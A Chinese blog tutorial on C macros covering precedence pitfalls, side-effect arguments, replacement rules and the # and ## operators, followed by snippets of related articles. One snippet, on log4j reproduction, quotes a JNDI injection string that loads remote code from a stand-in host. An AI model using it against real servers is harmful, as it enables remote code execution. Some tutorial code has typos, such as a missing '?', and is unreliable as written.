宏的使用(C语言详解)

在写一个代码生成可执行文件的过程需要经过编译和链接,编译又要经过三部:预处理,编译,汇编。

#define定义的变量和宏就是在预处理阶段会处理的。

一个简单的宏定义:

#include<stdio.h>;
#define Max(a,b) a>b?a:b
int main()
{int x = 4, k = 9;printf("%d", Max(x, k));
}

Max:宏名

a,b:宏参数

a>b?a:b:宏体

宏定义有些类似函数,Max(a,b)会被替换为 a>b?a:b

比如这里printf("%d",Max(x,k));在预处理阶段会被替换为printf("%d",x>k?x:k);

注意:在#define定义的宏或变量后面不能加分号(;)

例如: 

1.运算符优先级处理

思考下面输出结果:

#define Mul(a,b) a*b
int main()
{int x = 4, k = 3;printf("%d", Mul(x, k + 2));return 0;
}

这里printf("%d", Mul(x, k + 2));会被替换为printf("%d",x*k+2);

所以结果为14,注意这里只是一一替换在预处理阶段进行,结果并不是20,而计算阶段是再生成的.exe后缀文件执行以后的事,所有在定义宏的时候,为了达到想要的效果我们通常在宏体里面加一些括号来避免这种问题的出现

例如:

#define Mul(a,b) ((a)*(b))

2.带副作用的宏参数

在给宏传参的时候我们尽量避免传一些前缀或后缀++ --这样的参数,这是一些带有副作用的参数

 例如:

#define Max(a,b) ((a)>(b)?(a):(b))//添加括号是解决优先级带来的潜在问题,上一个板块讲到
int main()
{int x = 2, k = 3;printf("%d", Max(++x, ++k));
}

程序执行后输出5,这里x变为3,k变为5。结果是我们无法预料的。

3.函数与宏的区别:

4.宏替换的规则

在程序中扩展#define定义符号和宏时,需要涉及⼏个步骤。
1. 在调⽤宏时,⾸先对参数进⾏检查,看看是否包含任何由#define定义的符号。如果是,它们⾸先被替换。
2. 替换⽂本随后被插⼊到程序中原来⽂本的位置。对于宏,参数名被他们的值所替换。
3. 最后,再次对结果⽂件进⾏扫描,看看它是否包含任何由#define定义的符号。如果是,就重复上述处理过程。
注意:
1. 宏参数和#define定义中可以出现其他#define定义的符号。但是对于宏,不能出现递归。
2. 当预处理器搜索#define定义的符号的时候,字符串常量的内容并不被搜索

5.#运算符的使用

#运算符将宏的⼀个参数转换为字符串字⾯量。它仅允许出现在带参数的宏的替换列表中。
#运算符所执⾏的操作可以理解为”字符串化“。
当我们有⼀个变量 int a = 10; 的时候,我们想打印出: the value of a is 10 .
就可以写:
 

#define Print(n) printf("the value of "#n" is %d", n);
int main()
{int a = 0;Print(a);return 0;
}

而写作下面的形式只会打印 the value of n is 10,其中的n并不会被替换

 #define Print(n) printf("the value of n is %d", n);

6.##运算符的使用

## 可以把位于它两边的符号合成⼀个符号,它允许宏定义从分离的⽂本⽚段创建标识符。 ## 被称
为记号粘合
这样的连接必须产⽣⼀个合法的标识符。否则其结果就是未定义的。
这⾥我们想想,写⼀个函数求2个数的较⼤值的时候,不同的数据类型就得写不同的函数
比如:

int int_max(int x, int y)
{return x>y?x:y;
}float float_max(float x, float y)
{return x>yx:y;
}

这么写很繁琐我们可以用宏定义来写函数

7.宏定义函数

#define Max(type) type type##_max(type x,type y)\{			\return x>y?x:y;	\}
这里\为续行符
Max(int)
Max(float)
Max(char)
int main()
{printf("%d\n", int_max(5, 9));printf("%.2f\n", float_max(5.2, 5.32));printf("%c\n", char_max('p', 'h'));
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/797672.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机毕业设计选题之基于SSM的旅游管理系统【源码+PPT+文档+包运行成功+部署讲解】

&#x1f493;项目咨询获取源码联系v&#x1f493;xiaowan1860&#x1f493; &#x1f6a9;如何选题&#xff1f;&#x1f351; 对于项目设计中如何选题、让题目的难度在可控范围&#xff0c;以及如何在选题过程以及整个毕设过程中如何与老师沟通&#xff0c;有疑问不清晰的可…

SpringCloud Hystrix 服务熔断、服务降级防止服务雪崩

文章目录 SpringCloud Hystrix 熔断器、服务降级防止服务雪崩需求背景引入依赖启动类加Hystrix注解接口配置熔断常规配置超时断开错误率熔断请求数熔断限流 全局配置可配置项HystrixCommand.Setter参数Command Properties 服务降级 SpringCloud Hystrix 熔断器、服务降级防止服…

反射感测器简化光电开关设计

本文为大家介绍如何利用反射感测器的优势&#xff0c;以简化并改进微型光学感测器的设计。 反射感测器是设计微型光电开关的得力助手。它们精巧直观&#xff0c;可用来简化人机交互。这些感测器通常隐藏在红外 ( IR ) 透镜盖后面&#xff0c;当手指或其他物体接触镜盖表面时&a…

2024年4月7日16:58:09答辩笔记

尚硅谷总结毕业设计编写&#xff1a;&#xff08;ppt尽量好看点&#xff0c;放图&#xff08;流畅图&#xff0c;时序图放一放&#xff09;&#xff0c;少字&#xff0c;&#xff09; 总结&#xff1a;&#xff08;这样给人体验感要好&#xff0c;语言、逻辑清晰&#xff09; 1…

电脑桌面上的快捷方式提示没有应用相关联,需要设置默认应用

前言 一开始不知道自己究竟做了什么,电脑上的快捷方式点击任何一个都是顶着一串数字,提示没有应用相关联,此电脑,垃圾桶,网络,无论是电脑自带的快捷方式,还是自己创建的快捷方式,通通打不开 但是使用软件查看磁盘发现正常识别,通过软件可以浏览磁盘里的文件,究竟为什么? 解决…

Transformer架构的自注意力机制

自注意力机制&#xff08;Self-Attention&#xff09;&#xff0c;有时也称为内部注意力机制&#xff0c;是Transformer架构的核心。它是一种允许输入序列中的每个位置都能够考虑到序列中所有其他位置的机制&#xff0c;这样能够在每个位置捕获全局的上下文信息。自注意力机制使…

什么是JDK动态代理?怎么使用?

目录 一、什么是动态代理&#xff0c;有什么作用1、代理是什么2、代理在开发中的使用情况3、使用代理模式的作用 二、静态代理1、静态代理实现示例 三、动态代理1、动态代理的实现&#xff08;有两种&#xff09;1、CGLIB动态代理&#xff08;了解&#xff09;2、jdk动态代理&a…

【沈阳航空航天大学】【实验课程】《类与对象》实验

《类与对象》实验 《类与对象》实验任务书 一、实验要求 本次《类与对象》实验&#xff0c;是基于 “高级程序设计”和“高级程序设计实验”课程学习内容的重要实践环节&#xff0c;实验目的是通过综合性实验&#xff0c;培养学生面向对象程序设计思想&#xff0c;掌握类和对象…

Vue探索之Vue2.x源码分析(二)

一.Virtual Dom 虚拟DOM是一种轻量级的抽象&#xff0c;它允许我们在Javascript中创建、更新和删除DOM元素。它是React等现代Javascript框架的核心概念之一。 Vue的虚拟dom是一种抽象层的概念&#xff0c;它使得Vue可以高效地更新Dom。虚拟Dom是通过Javascript对象来表示DOM结…

vue实现验证码验证登录

先看效果&#xff1a; 代码如下&#xff1a; <template><div class"container"><div style"width: 400px; padding: 30px; background-color: white; border-radius: 5px;"><div style"text-align: center; font-size: 20px; m…

MySQL主从的介绍与应用

mysql主从 文章目录 mysql主从1. 主从简介1.1 主从作用1.2 主从形式 2. 主从复制原理3. 主从复制配置3.1 mysql安装&#xff08;两台主机安装一致&#xff0c;下面只演示一台主机操作&#xff09;3.2 mysql主从配置3.2.1 确保从数据库与主数据库里的数据一样3.2.2 在主数据库里…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

苍穹外卖Day10——总结10

前期文章 文章标题地址苍穹外卖Day01——总结1https://lushimeng.blog.csdn.net/article/details/135466359苍穹外卖Day02——总结2https://lushimeng.blog.csdn.net/article/details/135484126苍穹外卖Day03——总结3https://blog.csdn.net/qq_43751200/article/details/1363…

工厂方法模式:灵活的创建对象实例

在软件开发中&#xff0c;我们经常需要创建对象&#xff0c;但直接new一个实例可能会导致代码的耦合性增加&#xff0c;降低了代码的灵活性和可维护性。工厂方法模式&#xff08;Factory Method Pattern&#xff09;是一种创建型设计模式&#xff0c;它提供了一种创建对象的接口…

基于单片机干湿垃圾自动分类系统

**单片机设计介绍&#xff0c;基于单片机干湿垃圾自动分类系统 文章目录 一 概要二、功能设计三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的干湿垃圾自动分类系统是一个集成传感器技术、机械控制和单片机编程于一体的自动化解决方案。该系统的主要目标是实…

算法| ss 合并区间

56.合并区间 56.合并区间 /*** param {number[][]} intervals* return {number[][]}*/ // 思路 区间合并 // 数组升序 // 取第一个元素作为pre // for循环遍历 // 条件判断&#xff1a; 如果当前开始大于pre的结尾&#xff0c;则存入pre&#xff0c; 更新pre为当前 // 否则 p…

死锁、活锁、饥饿三者之间的区别,Java 中导致饥饿的原因有哪些?为了避免饥饿,可以采取哪些措施

目录 面试官:死锁、活锁、饥饿的区别死锁(Deadlock)活锁(Livelock)饥饿(Starvation)面试官:Java 中导致饥饿的原因有哪些思维导图该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:死锁、活锁…

【趣味学算法】11_黑洞数

注&#xff1a; 本系列仅为个人学习笔记&#xff0c;学习内容为《算法小讲堂》&#xff08;视频传送门&#xff09;&#xff0c;通俗易懂适合编程入门小白&#xff0c;需要具备python语言基础&#xff0c;本人小白&#xff0c;如内容有误感谢您的批评指正 黑洞数又称陷阱数&…

Docker之镜像与容器的相关操作

目录 一、Docker镜像 搜索镜像 下载镜像 查看宿主机上的镜像 删除镜像 二、Docker容器 创建容器 查看容器 启停容器 删除容器 进入容器 创建/启动/进入容器 退出容器 查看容器内部信息 一、Docker镜像 Docker 运行容器前需要本地存在对应的镜像&#xff0c; 如…

每日更新5个Python小技能 | 第九期

大家好&#xff01;欢迎阅读每日更新的Python小技能系列&#xff0c;今天是第九期。在这个系列中&#xff0c;我将每天分享5个高级的Python小技巧&#xff0c;帮助大家进一步提升编程技能。让我们开始吧&#xff01; 1. 使用生成器提高内存效率 生成器是 Python 中强大而高效…